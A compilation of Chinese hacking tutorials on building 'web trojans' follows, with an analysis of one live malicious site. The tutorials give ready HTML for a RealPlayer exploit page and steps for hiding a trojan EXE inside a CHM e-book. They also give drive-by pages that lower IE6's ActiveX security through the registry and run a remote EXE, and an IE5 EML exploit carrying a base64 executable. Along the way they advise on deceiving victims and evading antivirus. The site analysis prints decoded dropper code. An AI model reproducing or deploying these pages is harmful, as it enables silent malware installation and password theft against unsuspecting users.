<PARAM NAME="SHUFFLE" VALUE="0">
<PARAM NAME="PREFETCH" VALUE="0">
<PARAM NAME="NOLABELS" VALUE="0">
<PARAM NAME="SRC" VALUE="Real.smil">
<PARAM NAME="CONTROLS" VALUE="ControlPanel,StatusBar">
<PARAM NAME="CONSOLE" VALUE="Clip">
<PARAM NAME="LOOP" VALUE="1">
<PARAM NAME="NUMLOOP">
<PARAM NAME="CENTER">
<PARAM NAME="MAINTAINASPECT" VALUE="0">
</OBJECT>
============================请把以上内容保存成htm或html文件
Real.smil文件的内容：
<smil>
<head>
<layout>
<region id="oRegion" left="0" top="0" />
</layout>
</head>
<body>
<seq>
<video region="oReal" src="001.mp3" />
<video region="oReal" src="002.mp3" />
</seq>
</body>
</smil>
============================001.mp3和002.mp3（或其它媒体格式）与你保存的htm文件还有Real.smil放在同一目录下
★
根据我以上的代码做完后，你再用网页打开你做好的htm文件就可以在网页中调用一些影音播放器播放001.mp3和002.mp3了。那有了这么多的代码与理论基础了，你会做网页木马了吗？做网页木马就简单多了，怕菜鸟还是不明白，再写一次代码吧：
★
===========REALPLAYER
        网页木马代码开始==============================
<OBJECT
        classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH="256"
        HEIGHT="64">
<PARAM NAME="_ExtentX"
        VALUE="9313">
<PARAM NAME="_ExtentY"
        VALUE="1588">
<PARAM NAME="AUTOSTART"
        VALUE="-1">
<PARAM NAME="SHUFFLE" VALUE="0">
<PARAM
        NAME="PREFETCH" VALUE="0">
<PARAM NAME="NOLABELS"
        VALUE="0">
<PARAM NAME="SRC"
        VALUE="你用real.exe生成的恶意smil文件的名字，如1.smil">
<PARAM
        NAME="CONTROLS" VALUE="ControlPanel,StatusBar">
<PARAM
        NAME="CONSOLE" VALUE="Clip">
<PARAM NAME="LOOP"
        VALUE="1">
<PARAM NAME="NUMLOOP">
<PARAM
        NAME="CENTER">
<PARAM NAME="MAINTAINASPECT"
        VALUE="0">
</OBJECT>
===========REALPLAYER
        网页木马代码结束==============================
★
方法就是这样简单，一个htm文件加一个恶意的smil文件就全部结束了。如果你想把网页木马改成反弹端口或下载执行exe的，那就要看你构造恶意的smil文件的shellcode水平了。我这里只是提供了一个思路，至于如何完美打造这个REALPLAYER
        网页木马，大家各自研究吧。你也要可以用我的思路，利用非安全6期陈莎莎的那篇文章制作的恶意rm文件改成网页调用的方式，估计也会这功。而且，这都是正常的htm代码，杀毒软件不会去杀这段htm代码的。另外，附个小知识，REALPLAYER的网页参数：
★
一些REAL文件参数：
AUTOSTART 自动播放：true|false 默认：false
CENTER 放在中间位置 true|false 默认：false
CONSOLE 连接多种格式 name, _master, or _unique 默认：无
CONTROLS 播放面板的按钮和MTV、电影窗口 按钮的名字(PlayButton,PlayOnlyButton,StopButton,FFCtrl, RWCtrl,MuteCtrl,VolumeSlider,ImageWindow ) 默认：全部按钮
HEIGHT 高度,单位是百分比或者象素,默认：0
WIDTH 宽度,单位是百分比或者象素,默认：0
LOOP 自动重放 true|false 默认：false
MAINTAINASPECT 预留图象窗口. true|false 默认：false
NOJAVA 防止JVM跳出来. no true|false 默认：false
NOLABELS 不显示播放器的一些信息true|false 默认：false
NOLOGO 不显示Real的LOGO true|false 默认：false //Real很霸道这句我从来没有改成过，你怎么改还是认为是 true
NUMLOOP 指定某段片段的反复播放 any number 默认：无
REGION 绑定SMIL区域. SMIL region 默认：无
SHUFFLE 随机播放某段 true|false 默认：false
SRC 文件连接地址
BACKGROUNDCOLOR 背景颜色：颜色的英文名或者RGB数值 默认：黑色


[转载]chm木马制作教学

文章作者：怪狗
信息来源：华夏黑客同盟
好啦！下面就让我带大家一步步打造个超级隐蔽的电子书木马吧！
    首先准备好工具如下：
    １：Microsoft HTML Help Workshop V1.32
        电子书制作工具，由微软公司出的编程配套软件，可以帮助您建立 HTML 格式的帮助文件！当然也可以用Quick CHM等其他CHM格式的电子书制作工具；
    ２：超级木马一只（也就是一个你觉得最好的木马程序一个而已，相信大家比我熟悉），本文演示用“Window 按钮突破专家”这个小软件”；
    ３：现在最火爆的电子书籍（大哥们，不要拿咱们菜鸟的电脑教材开刀呀！）若干，当然如果你有能力自己做我也不反对，本文演示用Windows 2000的帮助文档WINNT\Help下的access.chm开刀！
    准备好了吗？开始制作吧！
    第一步：
    打开access.chm，在右侧的空白处，点击右键菜单，选择属性，我们可以知道这个电子文档的默认主页是：accessibility_overview.htm，标题栏文字是：辅助选项
    第二步：
    制作一个可以让木马运行并且同时可以自动转到原电子书的默认主页的网页icyfox.htm，代码如下：
<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='accessibility_overview.htm'">
</HEAD>
<BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobject" CODEBASE="Window 按钮突破专家.exe">
</OBJECT>
</BODY>
</HTML>
说明：把其中的accessibility_overview.htm改为你用的电子书的默认主页名，把“Window 按钮突破专家.exe”改为你的木马程序名！
      另外，如果你的木马程序体积比较大，请相应的把上面的转向时间３改的值大一点！
      在Windows 2003中默认在本地电脑域中好像并不允许OBJECT标签运行本地程序（我自己没装Windows 2003），所以不适合在Win2003使用！当然我们可以在代码中加入判断是否是Windows 2003的语句，来隐藏自己的木马！用navigator.appVersion属性判断!
    第三步：
    打开HTML Help Workshop，选择File菜单下的Decompile...项，对access.chm进行反编译，在反编译后的目录“G:\CHM木马”中可以看到access.hhc（对应帮助文档左侧的“目录”项）和access.hhk（对应帮助文档左侧的“索引”项）；
    第四步：
    建立一个新的带有木马的电子书；
    把“Window 按钮突破专家.exe”，也就是你的木马程序复制到反编译后的目录“G:\CHM木马”中，并在此目录下建立一个icyfox.hhp的文件（用记事本即可！），内容如下（注意;号后面的注释不要写上）：
[OPTIONS]
Compatibility=1.1 Or later
Compiled file=access.chm ;把access.chm改为你要生成的电子书名
Default Window=Main
Language=0x804 中文(中国)
[WINDOWS]
Main="辅助选项","access.hhc","access.hhk","icyfox.htm",,,,,,0x420,150,0x104E,,0x0,0x0,,,,,0
;把上面的"辅助选项"改为你第一步时得到的标题栏文字，"access.hhc"及"access.hhk"分别改为你第三步得到的文件名
[FILES]
icyfox.htm
Window 按钮突破专家.exe ;把它改为你要嵌入电子书的木马程序名
    最后，用HTML Help Workshop打开icyfox.hhp，点击左侧最下面的编译按钮，稍等一会就可以在“G:\CHM木马”目录中发现已经编译好的带有木马的电子书access.chm，打开看看！


对一个网页木马的剖析
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩！本文由于部分代码涉及病毒分析，所以拷贝过程中，杀毒软件会把文章当病毒杀掉，并无任何大碍只是无法在有杀毒软件的计算机进行阅读或者传输。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
本人不才，在中国鹰派做一个小小的技术版主。有一天在论坛回帖的时候看见这样一部主题
我做的网页木马
http://kev.369.com/
不怕就去看看，呵呵！
回的人比较少，那这样吧，这种关键时刻，上刀山下油锅的就得是我们做版猪的了！习惯的看一下表凌晨4:08。
做好安全措施，冲到了http://kev.369.com/
一看网页的源文件是

<frameset rows="0,*" style="border-top-width: 0px; border-left-width: 0px; border-right-width: 0px">
<frame name=bar src=bar.htm noresize scrolling=no border=0 framespacing=0 frameborder=0 scrolling=no>
<frame src=http://kevjy.1816.net/1/ scrolling=auto name=main>
</frameset>

经过一段时间的分析踩点，得出来如下结论：
文件bar.htm没找到，不知道是真没有还是我菜，真没找到。
真的整个站的首页在这里：
http://home.itdrp.com/kevjy/
其实实现木马病毒种植的是这个页：
http://kevjy.1816.net/1/index.htm
那就从罪魁祸首开始分析
http://kevjy.1816.net/1/index.htm
其页面代码如下：
<script
        language="Jscript.Encode">#@~^8gAAAA==@#@&@!Z
        O,@#@&7lM~KD[/{JYf;W4NnmDPNmOC]2fu +tOOa]fbJ&tK:n
        bYN.2cmG:JV\%Hzs:R4Yss]y
        ~hkL4D]>PSkND4Y&GPZ]f2Yf;zG4NnmD]f3r@&0;U1YrW
        ~U+Og+SWMNkc#@& -lMPHnSWM[/p1+S
        GD9/{EU+d^mwn`qGD9/bI9Wm;hxORS.bYnv1hKD9d#p8@&?YHnSWM[/v#i@&&&P
         O@*@&IUsAAA==^#~@</script >
<head><meta content="text/html;
        charset=gb2312" http-equiv=Content-Type><meta content="Microsoft
        FrontPage 4.0" name=GENERATOR><LINK href="../../images/main.css"
        rel=stylesheet><title>八目妖整人城堡</title>
<style
        fprolloverstyle>A:hover {color:
        #FF0000}
</style>
<script
        language=javascript>
step=0
function
        flash_title()
{
step++
if (step==3) {step=1}
if (step==1)
        {document.title='☆★<a href='http://kev.369.com'
        target=_blank>http://kev.369.com</a>☆★→<a
        href='http://kev.369.com' target=_blank>http://kev.369.com</a>
        '}
if (step==2) {document.title='★☆<a href='http://kev.369.com'
        target=_blank>http://kev.369.com</a>★☆→<a
        href='http://kev.369.com' target=_blank>http://kev.369.com</a>
        '}
setTimeout("flash_title()",200);
}
flash_title()
</script>
<script LANGUAGE="javascript">
<!--
vers = navigator.appVersion;
vers = parseFloat(vers.substring(vers.lastIndexOf(".")-1,vers.length));
var c=1;
defaultStatus="<a href='http://kev.369.com' target=_blank>http://kev.369.com</a> ; 如果你喜欢本站,别忘了把本站的网址告诉给你QQ上的朋友哦!谢谢您！"
function bookmark() {
window.external.AddFavorite('<a href='http://kev.369.com'' target=_blank>http://kev.369.com'</a>, '我爱你');
}
//-->
</script>
</HEAD>
<BODY bgcolor="#CCFFCC" text="#006600" link="#0000FF" vlink="#0000FF" alink="#0000FF">
<script language=javascript><!--// Hide the javascript from older browsers (window.alert(" 18岁以下禁止进入,请按确定")) // End hiding of script // --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script>
……
（中间省略N多象上面一样的弹出窗口废话）
……
<script language=javascript>
<!-- Hide the javascript from older browsers
(window.alert("因为你还有可能碰到类似的网页喔!"))
// End hiding of script -->
</script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert("你仔细想一想...不觉得有趣吗??"))
// End hiding of script
// --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert("好吧~我对不起你~你生命可以继续啦!!"))
// End hiding of script
// --></script>
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="750">
<tr>
<td height="20"></td>
<td height="20"></td>
<td height="20">
<p></td>
<td height="20"></td>
</tr>
<tr>
<td width="9%"></td>
<td width="41%"></td>
<td width="43%">
<p align="right"><font color="#339966"> <b><<< </b><script language="javascript" src="../../favor.js"></script></font><b><font color="#339966">>>> </font></b></td>
<td width="7%"></td>
</tr>
<tr>
<td width="100%" colspan="4">
<p align="center"><font size="6">哈哈，过瘾吧？</font> </p>
<P align=center><FONT color=#339966 face=Wingdings
size=7>ABCDEFGHIMN<BR>&*(</FONT></P>
<p align="center"><font size="4" face="Arial"><b>HeHe......Just a joke!</b></font></p>
<p align="center"><font size="4" face="Arial"><b>Have FUN......</b></font></p>
<p align="center">　</td>
</tr>
</table>
</center>
</div>
</BODY>
哇好多弹出窗口啊？其实后面你就知道了，这其实不过是让他给你种木马争取时间：）黑吧！！
上面的代码其实有一小段代码十分可疑！应该大家也注意了。就是：
<script language="Jscript.Encode">#@~^8gAAAA==@#@&@!Z O,@#@&7lM~KD[/{JYf;W4NnmDPNmOC]2fu +tOOa]fbJ&tK:n bYN.2cmG:JV\%Hzs:R4Yss]y ~hkL4D]>PSkND4Y&GPZ]f2Yf;zG4NnmD]f3r@&0;U1YrW ~U+Og+SWMNkc#@& -lMPHnSWM[/p1+S GD9/{EU+d^mwn`qGD9/bI9Wm;hxORS.bYnv1hKD9d#p8@&?YHnSWM[/v#i@&&&P ［/QUOTE">O@*@&IUsAAA==^#~@<／script>
很明显代码被微软的脚本编码器( SCRENC.EXE )加密过！简单介绍一下，微软的脚本编码器( SCRENC.EXE )是微软提供的可以对ASP脚本源码进行编码加密的一个工具。应用开发商通过使用这个工具，达到 Web 主机和 Web 客户不能查看或修改它们的源代码。具体信息可以查看中国暗域网络相关技术文章，这里就不说废话了！现在开始解密……
把秘密议文拷贝到一个TXT文件中，重命名为source.txt。然后找到ZwdEcode所在的目录，输入

D:\Tools>zwdecode
Decoder for Microsoft script v6.2
?2001 MrZhengwei , <a href="mailto:zhengei@263.net">zhengei@263.net</a> TEL:013001865430
Home page: <a href='http://www.zhengwei.net/prg/zwdecode.htm' target=_blank>http://www.zhengwei.net/prg/zwdecode.htm</a> ;
Usage: zwdecode <infile> <outfile>
zwdecode source.txt hackway.txt
软件zwdecode下载地址：中国暗域网络技术下载系统
现在去同目录下看，可以找到hackway.txt，其中就是解密后的明文。使用ZWD轻易破解后的明文如下：

<script language="Jscript.Encode">
<!--
var Words="%3Cobject data%3D%22http%3A//home.itdrp.com/kevjy/mm.html%22 weight%3D0 width%3D 0%3E%3C/object%3E"
function SetNewWords()
{var NewWords;NewWords=unescape(Words);document.write(NewWords);}
SetNewWords();
// -->
</script>

看见了破解后的明文，可以分析这里是个重点
http%3A//home.itdrp.com/kevjy/mm.html
%3A是编码后的内容，翻译过来就是t。那么我们现在清楚了，原来开始的时候还插入了一个mm.html页！
好！再去这里看看：http://home.itdrp.com/kevjy/mm.html
竟然是张白页？晕……而且无法查看源代码，点了“查看源文件”竟然没反应，连输入view-source都不可以，只好把它强行下载回来研究了。
一下回来竟然被杀毒软件杀掉了，看来这个页面最有问题了。关闭杀毒软件时实监控，再下一次。
OK！现在我们可以看见mm.html的内容如下：
前面的代码是这样的（被杀毒软件认成病毒的就是这里了，后面的无毒就不说了，我懒……）：
<html>
<body>
<object
        data="lhxyexe.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxyhta.asp" weight=0
        width= 0 height="14"></object>
<object data="20cn.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="qqkev.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxyexe1.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="lhxyhta1.asp" weight=0 width= 0
        height="14"></object>
<object data="i"+"e.asp" weight=0
        width= 0
        height="14"></object>
</body>
</html>

（以上的代码会被杀毒软件认成病毒，如果想保存此文章，请把上面的代码转换成下面的代码，书写方式变化而已）
<html>
<body>
<object
        data="lhxy"+"exe.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxy"+"hta.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="20"+"cn.asp" weight=0 width= 0
        height="14"></object>
<object data="qqk"+"ev.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="lhx"+"yexe1.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxy"+"hta1.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="i"+"e.asp" weight=0 width= 0
        height="14"></object>
</body>
</html>

可以看见上面的代码就知道问题所在了。经过检查lhxyexe.asp，并未对系统做什么动作。而20cn.asp等都是病毒文件（好狠毒啊）。均为脚本病毒js.htadropper的变种，这里冰血封情具体对他们尽心一一分析：
JS.HTADropper.b 不详，等待有识之士一起研究
JS.HTADropper.c 修改用户IE设置的恶意网页
JS.HTADropper.d 恶意网页的恶意脚本
JS.HTADropper.e 启动后是放出两个脚本病毒，具体放出了谁我就不清楚了，等待有识之士一起研究
JS.HTADropper.f 恶意网站释放的病毒。利用IE漏洞，释放木马病毒Trojan.PSW.PS-Client.enc，楼主一直说自己那个是网页木马，现在知道木马在哪里了吧：）
JS.HTADropper.gen 脚本病毒，作用不详，等待有识之士一起研究。还是自己问问那个站长吧。
现在来说说刚才JS.HTADropper.f放出来的小木马吧。
Trojan.PSW.PS-Client.enc其实是个后门程序，在后台隐藏运行。并修改注册表的 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 项,在其中添加一项 键值以达到自启动的目的.窃取用户密码。
真是无“毒”不丈夫啊！！
小生佩服佩服……以上就是对网页木马的简单剖析，如有什么不对，还请高手斧正。
最后说一点，其实木马还可以插得更加“神不知鬼不觉”，而且只要做小小的修改，前面的文章中其实我已经告诉你了，具体是哪？自己找！实在找不到？访问中国暗域网络技术主题：[TIPS]The Technology of Virus and Bug
承让承让……
习惯看下时间2004年1月23日凌晨5：15。


让IE6.0执行EXE文件的网页

说到要做一个让网页让IE6.0浏览的时候来执行空间下的一个EXE文件的方法要和以前写过的5.0的方法是完全不一样的了，5.0的总体思路是用一个HTML的文件带动一
个有错误开头的EML文件，让IE无条件的执行EML中的附件，可是当我们把IE升级到6.0的时候，再打开这个页面我们会发现WINDOWS会出现一个打开方式的界面，所以我们
前面做的针对IE5.0的是无效的。
下面我们来看看怎么让6.0来执行我们空间的同路径下的一个EXE文件，方法大致是当用户开启第一个HTML的页面时，通过恶意的HTML代码把IE安全级别里的默认的
“禁用下栽未签名的ActiveX控件”选项，变为“启用下栽未签名的ActiveX控件”，然后马上打开第二个HTML的文件内容是下载一个未签名的ActiveX控件，实质就是我们
所要执行的EXE文件，好了，下面我们来说说具体的制作步骤。
【第一步】建立一个1.HTM的文件，内容如下：
<!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.0 Transitional//EN>
<CNTER><HTML><HEAD>
<META http-equiv=Content-Type content=text/html; charset=gb2312>
<META content=Microsoft FrontPage 4.0 name=GENERATOR></HEAD>
<BODY>
<SCRIPT>
document.write(<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>);
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B});
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228});
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID({F935DC26-1CF0-11D0-ADB9-00C04FD58A0B});
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents.cookie.indexOf(Chg) == -1)
{
Shl.RegWrite (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\1004,0,REG_DWORD);
var expdate = new Date((new Date()).getTime() (1));
documents.cookie=Chg=general; expires= expdate.toGMTString() ; path=/;
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout(f(), 1000);
}
init();
</SCRIPT>
<script language=javascript>
<!-- Begin
function opencolortext(){
window.open('http://xiaomutou.diy.163.com/2.htm','colortext')
}
setTimeout(opencolortext(),1500)
// End -->
</script>
</BODY></HTML>
这里需要说明的是，其中“window.open('http://xiaomutou.diy.163.com/2.htm','colortext')”中的“http://xiaomutou.diy.163.com/2.htm”要改为你自己的
主页空间的路径，其中“setTimeout(opencolortext(),1500)”的“1500”是延时1.5秒中之后打开我们一会将要做的2.HTM文件。好，我们现在就来做这个2.HTM文
件，内容如下：
<!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.0 Transitional//EN>
<HTML><HEAD>
<META http-equiv=Content-Type content=text/html; charset=gb2312>
<SCRIPT language=javascript>
run_exe=<OBJECT ID=\RUNIT\ WIDTH=0 HEIGHT=0 TYPE=\application/x-oleobject\
run_exe =CODEBASE=\3.exe#version=1,1,1,1\>
run_exe =<PARAM NAME=\_Version\ value=\65536\>
run_exe =</OBJECT>
run_exe =<HTML><H1> </H1></HTML>;
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</SCRIPT>
<META content=Microsoft FrontPage 4.0 name=GENERATOR></HEAD>
<BODY>
<p align=center>论坛连接中请勿终断....
<BR>
<CENTER></CENTER><BR>
<BR></BODY></HTML>
说明，代码中“run_exe =CODEBASE=\3.exe#version=1,1,1,1\> ”的“3.EXE”就是IE将来要执行的同路径下你的EXE文件
至于论坛连接中请勿终断，完全是迷惑对方的你自己可以变成自己的话。
好了现在将我们做的1.HTM、2.HTM和自己要对方执行的EXE文件一并上传到自己的主页空间下。
现在就让我们用IE6.0来直接浏览这个1.HTM的文件吧，当打开这个页面的1-2秒后应该自动打开另一个空白的页面，紧接着你的EXE文件将被执行，注意所放的EXE文件不要
过大，最好能控制在100K之内
让IE5.0执行EXE文件的网页

上网的日子也有一段时间了，对安全这方面还是瞒有兴趣的，记得在刚刚知道木马的时候感觉它的功能实在是太强大了，但木马都是一个EXE的可执行程序，怎么让对方乖
乖的接收和点击是一项很重要的问题，最早是用QQ想尽办法发给对方，现在呢？有了一个好的方法最一个HTML的文件利用IE5.0自身的漏洞执行一个EML的文件，这个EML的
文件其实就是我们做好的小马，其实这个做起来很简单的，但是需要说明的是，对方的IE版本必须是5.0，而且OUTLOOK这个软件也必须安装（安装WINDOWS的时候默认的是
安装OUTLOOKDE的），IE也要求没有打过任何补丁，好了，我门现在来具体说一下这个网页木马的制作方法。
【第一步】：建立一个TEST.HTM的文件，文件内容如下：
<HTML>
<HEAD>
<META http-equiv=Content-Type content=text/html; charset=gb2312>
<SCRIPT language=javascript>
<!--
window.open('jj.eml','diy');
//--></SCRIPT>
</HEAD>
</HTML>
上面代码的大概意思就是，当用户打开了这个名为TEST.HTM文件的同时，浏览器自动运行同路径下的一个JJ.EML的文件，大家都知道在安装WINDOWS的时候只有安装了
OUTLOOK时EML的文件才会被关联，所以用户的计算机上一定要有OUTLOOK。
【第二步】：在你先前建立的TEST.HTM的同路径下再建立一个名字为JJ.EML的文件，文件内容如下：

From: xxx < xxxx@xxx.xxx >
To: xxx < xxxx@xxx.xxx >
Subject: xxxx
Date: Tue, 7 Apr 2001 15:16:57 800
MIME-Version: 1.0
Content-Type: multipart/related;
type=multipart/alternative;
boundary=1
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--1
Content-Type: multipart/alternative;
boundary=2
--2
Content-Type: text/html;
charset=gb2312
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
</BODY>
</HTML>
--2--
--1
Content-Type: audio/x-wav;
name=jj.exe
Content-Transfer-Encoding: base64
Content-ID: <THE-CID>
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwBAwAAAAAAAAAAAAAA
AADgAA4BCwEAAAAcAAAAEgAAABIAAACgAAAAEAAAADAAAAAAQAAAEAAAAAIAAAEAAAAAAAAABAAA
AAAAAAAAsAAAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAB0oQAA
awAAAACAAAAMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAdAAAAABwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAAAAAAAAIAAAAIAA
AE8TAAAABAAAAAAAAAAAAAAAAAAA4AAAwAAAAABhAAAAABAAAACgAAAAAgAAAAIAAAAAAAAAAAAA
AAAAAOAAAMAHBAgECQQBANxnQAACAAAAUAkAAAAmAAAAAAAAAAAAAAAAAABgAADAAAAAAGMAAADr
As0g6wLNIGg5F2PQ6wLNIFnoAgAAAIvFWmhHid0v6wLNIFjB6gMDwesC0FqNNfQAAACKEOsCzSCL
OOsCwo4j2IPvIw 0oP3IusBL4PvC4fTM/4PvhCD92IPttIz/sHyBQP 6wLNIIf6iBAPttBA6wHs
ToDDzyvSO/J1uAvSl7ULfT2CwnyRhsMG5UqHxFh2lcjNkpGmSpcdbltkqdsLHlJ3wdGhnzWKGphU
b2o4jR2DX61tg1AgU6o6 qqHN41ijXisN7D/q22faESKh4TwlbxYNUpPTFE9 3xqQgsZKGOK9HLq
nDwpkotKJSon5SmnKyjc9G8o qX5dy11cv6 u4zHhjH82sj5svD0bqXzn71QDUimsxAgWxakuR7J
SFh5eutQ2XKQ6XGXtypNsxOsNWqygDH2sHB1GMWwtbqX8CZYeL3FjnfsmQbXXnlH kIHCdtBvQ3f
itSe08hFBuHXqa5cQVLi3zQ3pjepb60VYgX61KycoQAAAAAAAAAAAAC0oQAAqKEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAwKEAAM6hAAAAAAAAwKEAAM6hAAAAAAAAS0VSTkVMMzIuZGxsAABMb2FkTGli
cmFyeUEAAEdldFByb2NBZGRyZXNzAOsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADY7IgxAAAAAAAAAgAEAAAAIAAAgAkAAAA4AACAAAAAANjsiDEAAAAAAAABAFgCAABQAACAAAAA
ANjsiDEAAAAAAAABAGQAAABoAACAAAAAANjsiDEAAAAAAAABAAQIAACAAAAAAAAAANjsiDEAAAAA
AAABAAQIAACQAAAAAHAAAGIAAAAAAAAAAAAAAHBwAAAIAAAAAAAAAAAAAAAxAMBAi0wkBPdB5gbh
jwJ0D69ErgiOVIAQiQK4A8Ejw1NWV78nh1Bq/mgOzkADZP81Yi0OiSUTOjUgMFhgcAyDHv7/dNw7
//HsGgONNHaLDLNkqzBID3xOBAF11/9U3/Dr0WQojwU2AIPEDF9eW8NVN4nlu2dqDARoYJK3/3UI
6DPqFz5dHTuJ7IzD/EOD8AihJIv5DM1F6KMoYVBMiR0sng33aa PdXLmRfg0g62x/KNDF417HHtD
MYtzXHsISJJieo1QdoKPg9A6VlX4a1EQh4wYXV6dCQbAdCh4MU0NU h1/wIDkgQyPVYaDhkIh2 L
BI83Q31j99J7pxA0ouusQy2icYNIav8QVuP igy9BscFCPdVC4/zqOjxGKTgYgjAdSGzGuwkCtvX
GuEHuAGPJ snyviiCSpQCFElCui4H0gOZJ4zBFNTEIODPSRwN6w/KOihD8Lm/ BYkBHXZG6hDxJQ
Np8baBQ5qppLVsSdq0dK2L4FZehoIAobHAURGBLo01pz7AwVDByGgxcoagwdKQoViAAYMcmJTfx
UG/MV0nDJf6jHlJoa2yBrvtXEmiwP0R hfyWFE5QOTU9bpwlAw FqWRVMvggaKJTzOsCIIB/6GoW
DAoxPHYBCQg3Wt0pvqi9DRNXagFPFUzRKLU7NOjaOGILqyhRxGwsrY5DJcgJ3kOJkHhQ2elI7qeJ
ApCO6DDDJYmF9GI7p4TSiBkC6F1soQJSaPt1 kPmwpstfpcpF/0ImakQvB3mKCPaEbmH8Q7QmhJ
U0czDgYUFECREYS1Fs0PHekNFhjrwkIVH3Uzm7xh8yR4HaoLGOM9U4WIphVZd 4Q6w6mf1S8D0BI
X8xMY8kMOK11YLBASfymoVgVGJ/hBWA9dfzoaDeuCJEjamGF0ShYmnOuLEcLFPcUgMJdaD9iEphG
6M3TJVO8XYhkQsRcUPcqwhdE9CbKGi1PvTMUhPTnikqe B4BIZQTFBH1FIrtXpRAzkmQkYtJ6g6N
ff5jNTxSF6pmpVRZQRHw/UxYKRK1Hv5rEBOKMOAIicPdpApd BoinFZ1FR4J28npjZoIBOYEkezo
r71/KjvwhhawMIyXjA/2FKE6EP NHg9fyMZAgDxuMnX5qFCbIgRYDOiSEcxQAzRoN5MIEYHOFSTK
CIWahCsCgoP7xPDhCAORsiwKK7SJFFc4tXRrKegl1Ql97IXkKAWCaRMi4fSGsCO7zI9NIccuRfAh
TA78TALLtkhV8OuG1uzoH0UZg30I0BGfMQbfBOR1ZD2TZTxAI57zVBIRLIkrSygp3BcRFTAUIwXo
y4xEBAOZXWVRwhoWoono4pDOxwm48Egf7lSUVyjouRGDkcJ1kfwBQ/RV3ihEOV TxpSUsYSFbKGP
6uZB9eoj6I8MRYO9fBkCM3UFy u Cq4RSxhUqToU617nEegQQeHdUEjlVphURA/HaINoM0ZeLFXs
wGZbxcHUugDRBLs6sKzix0ooZuJBJ3BMIgOgzxo7hQImDCZg sG/1AFH4FQPQbnwW18lmr/Qrpo
jia0EBvoXolSwqOSk85geHNRDTGVx0 WK13dE2Rko0Kv6YwFUiwhNFAEhHUBRgU4G7E2FGcOCA0M
USRKc9L4QfEeXhVJXyhoEoHrNxUUYeXUMxCw/oRIEkHEDDHbIE6oQf3CKkIgCgVAcxOLlR4J6hk
ibS2rA9MRKAGkX6UpDDKjRSTUGKjqIELifBAi7S DpHknKUhJMkEtdkDggIyoVlVAUNmZk4ejknG
PXUJFvk4MIYEijAUiIQdnJgVPA3dcA4KdUrGEkpmPiZD8gdQD4w9jQCyiZ2sUP4I63EPUr4hFAGF
EixDYD7GwDnDct1rqBs0gxXATYkKJKFURTlCC3UZaEpUlhIhchESCCRLRLFR/k6hDFJBCJNTb2o1
FTFC4w2KXqEEIFxDBCLDpXS4eYQj1BA yAnhhQ0LEN/94z2HyMQKSA1IEqgJEglHgTB9fLxoaPf4
WuTONOBFdBR/oRyU6ByGRS/asDTm tEM8MIloSCXNRAgxPoMBOnC0ZuhJEsliCRk1SKdKpMiXyY8
YqkRTXhkZBCrRn8K0AY/dCnpekfPFGlJRAXNb0wLcBJmhnl4Io9dCf8khYAilaEIl2wQCMhpRDFe
iZP3ykk/vxA7iAP QhYl3iLLAvmVU04oC4iwAfxQwyWLiGj0hJshDeg10zwVQhGE5A7j0XHSHoob
kSJklHkiQSKhFJdvEBTIVKxOiff5mkWV1WUlDlTtEGIW0gqlOscIEtuKoRg3XEMYKO4sdwFSkWbs
